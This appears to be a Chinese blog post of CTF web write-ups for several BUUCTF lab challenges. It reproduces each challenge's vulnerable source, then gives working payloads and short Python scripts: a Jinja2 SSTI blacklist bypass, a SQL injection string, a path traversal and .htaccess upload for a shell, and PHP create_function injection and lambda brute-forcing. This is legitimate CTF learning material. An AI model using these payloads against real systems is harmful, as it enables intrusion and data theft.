[WesternCTF2018]shrine
打开后给了源码,python写的
import flask
import os
app = flask.Flask(__name__)
app.config['FLAG'] = os.environ.pop('FLAG')
@app.route('/')
def index():
return open(__file__).read()
@app.route('/shrine/')
def shrine(shrine):
def safe_jinja(s):
s = s.replace('(', '').replace(')', '')
blacklist = ['config', 'self']
return ''.join(['{{% set {}=None%}}'.format(c) for c in blacklist]) + s
return flask.render_template_string(safe_jinja(shrine))
if __name__ == '__main__':
app.run(debug=True)
存在shrine目录盲猜一手ssti注入,
存在ssti,分析源码,发现app.config['FLAG'] = os.environ.pop('FLAG') ,注册了一个flag的config,但是又过滤掉了config,还过滤掉了一手括号。
python还有一些内置函数,比如url_for和get_flashed_messages可以读一些信息。构造一下读取globals。
发现有一吨代码,从中发现了关键的 'current_app': <Flask 'app'>。读一下这个文件的config
['current_app'].config
flag就被包含在里面了
[RootersCTF2019]babyWeb
这题是真的没话说,基本没过滤的sql注入题
sqlmap跑了一年,发现还是没有flag,后来经队里师傅提醒
1||1=1 limit 1
获得flag
[BBCTF2020]imgaccess2
题很难,BUU有环境了,拿上来看着WP复现一下(y1ng师傅tttttql)
打开靶机,一个文件上传,测试后只能上传jpg,审查元素发现真实长传路径,猜测有文件遍历
经队里guoke师傅提醒,使用/的双url编码绕过并成功读取到文件。
因为是python写的,读一下app.py
from flask import Flask, render_template, request, flash, redirect, send_file
from urllib.parse import urlparse
import re
import os
from hashlib import md5
import asyncio
import requests
app = Flask(__name__)
app.config['UPLOAD_FOLDER'] = os.path.join(os.curdir, "uploads")
# app.config['UPLOAD_FOLDER'] = "/uploads"
app.config['MAX_CONTENT_LENGTH'] = 1*1024*1024
app.secret_key = b'_5#y2L"F4Q8z\n\xec]/'
ALLOWED_EXTENSIONS = {'png', 'jpg', 's'}
if not os.path.exists(app.config['UPLOAD_FOLDER']):
os.mkdir(app.config['UPLOAD_FOLDER'])
def secure_filename(filename):
return re.sub(r"(\.\.|/)", "", filename)
def allowed_file(filename):
return '.' in filename and \
filename.rsplit('.', 1)[1].lower() in ALLOWED_EXTENSIONS
@app.route("/")
def index():
return render_template("home.html")
@app.route("/upload", methods=["POST"])
def upload():
caption = request.form["caption"]
file = request.files["image"]
if file.filename == '':
flash('No selected file')
return redirect("/")
elif not allowed_file(file.filename):
flash('Please upload images only.')
return redirect("/")
else:
if not request.headers.get("X-Real-IP"):
ip = request.remote_addr
else:
ip = request.headers.get("X-Real-IP")
dirname = md5(ip.encode()).hexdigest()
filename = secure_filename(file.filename)
upload_directory = os.path.join(app.config['UPLOAD_FOLDER'], dirname)
if not os.path.exists(upload_directory):
os.mkdir(upload_directory)
upload_path = os.path.join(app.config['UPLOAD_FOLDER'], dirname, filename)
file.save(upload_path)
return render_template("uploaded.html", path = os.path.join(dirname, filename))
@app.route("/view/")
def view(path):
return render_template("view.html", path = path)
@app.route("/uploads/")
def uploads(path):
# TODO(noob):
# zevtnax told me use apache for static files. I've
# already configured it to serve /uploads_apache but it
# still needs testing. I'm a security noob anyways.
return send_file(os.path.join(app.config['UPLOAD_FOLDER'], path))
if __name__ == "__main__":
app.run(port=5000)
审计源码发现最后给了提示,上传的文件还会镜像上传到/uploads_apache下,还允许上传一个后缀名为 's'的文件。想到.htaccess,那怎么把它变成's'后缀呢
继续审计,发现secure_filename(file.filename)跟进函数发现
def secure_filename(filename):
return re.sub(r"(..|/)", "", filename)
该函数会把文件名含有. / 的全部替换为空,那我们上传一个.htacces..s在上传一个图片马就可以getshell了
(没找到flag血亏)
经guoke师傅提醒,在内网里(为啥)
[SUCTF 2018]annonymous
给了源码
<?php
$MY = create_function("","die(<code class="prettyprint" >cat flag.php
);");
$hash = bin2hex(openssl_random_pseudo_bytes(32));
eval("function SUCTF_$hash(){"
."global \$MY;"
."\$MY();"
."}");
if(isset($_GET['func_name'])){
$_GET["func_name"]();
die();
}
show_source(__FILE__);
源码很简单
我们只要执行$MY即可,可是怎么执行呢?
create_function()函数(createfunction()主要用来创建匿名函数,有时候匿名函数可以发挥它的作用)有个漏洞:
在创建之后会生成一个函数名为:%00lambda%d
%d是持续递增的,这里的%d会一直递增到最大长度直到结束,通过大量的请求来迫使Pre-fork模式启动
Apache启动新的线程,这样这里的%d会刷新为1,就可以预测了
写个脚本一直去刷新访问即可:
import requests
while True:
r=requests.get('http://996ad41a-f4a1-4805-8de0-44f476747f11.node3.buuoj.cn/?func_name=%00lambda_1')
if 'flag' in r.text:
print(r.text)
break
过一会就会出flag了
那么create_function()函数还有什么漏洞呢?百度以后我们发现了这样的利用方式
如果我们的代码是这样
<?php
$id=$_GET['id'];
$str2='echo '.$a.'test'.$id.";";
echo $str2;
echo "<br/>";
echo "==============================";
echo "<br/>";
$f1 = create_function('$a',$str2);
echo "<br/>";
echo "==============================";
?>
假设我们传入?id=2;}phpinfo();/*
后台执行就变成了这样
源代码: function fT($a) { echo "test".$a; } 注入后代码: function fT($a) { echo "test";} phpinfo();/*;//此处为注入代码。 }
就可以执行我们的恶意命令了
参考:https://blog.csdn.net/dyw_666666/article/details/90042852
[b01lers2020]Scrambled
这题刚上的时候就见过了,利用点在cookie中transmissions中的值。写个脚本跑一下就出flag了
(借一下guoke师傅脚本)
import requests
from urllib.parse import unquote
url='http://6db759d4-9ce6-4e40-9736-9b2f84b9540f.node3.buuoj.cn/'
r=requests.session()
cookie=r.get(url).cookies
data=[0]*100
for i in range(300):
cookie=r.get(url).cookies
key=unquote(requests.utils.dict_from_cookiejar(cookie)['transmissions'].replace('kxkxkxkxsh',''))[2:]
#print(key)
value=unquote(requests.utils.dict_from_cookiejar(cookie)['transmissions'].replace('kxkxkxkxsh',''))[0:1]
#print(value)
data[int(key)]=value
for i in data:
print(i,end='')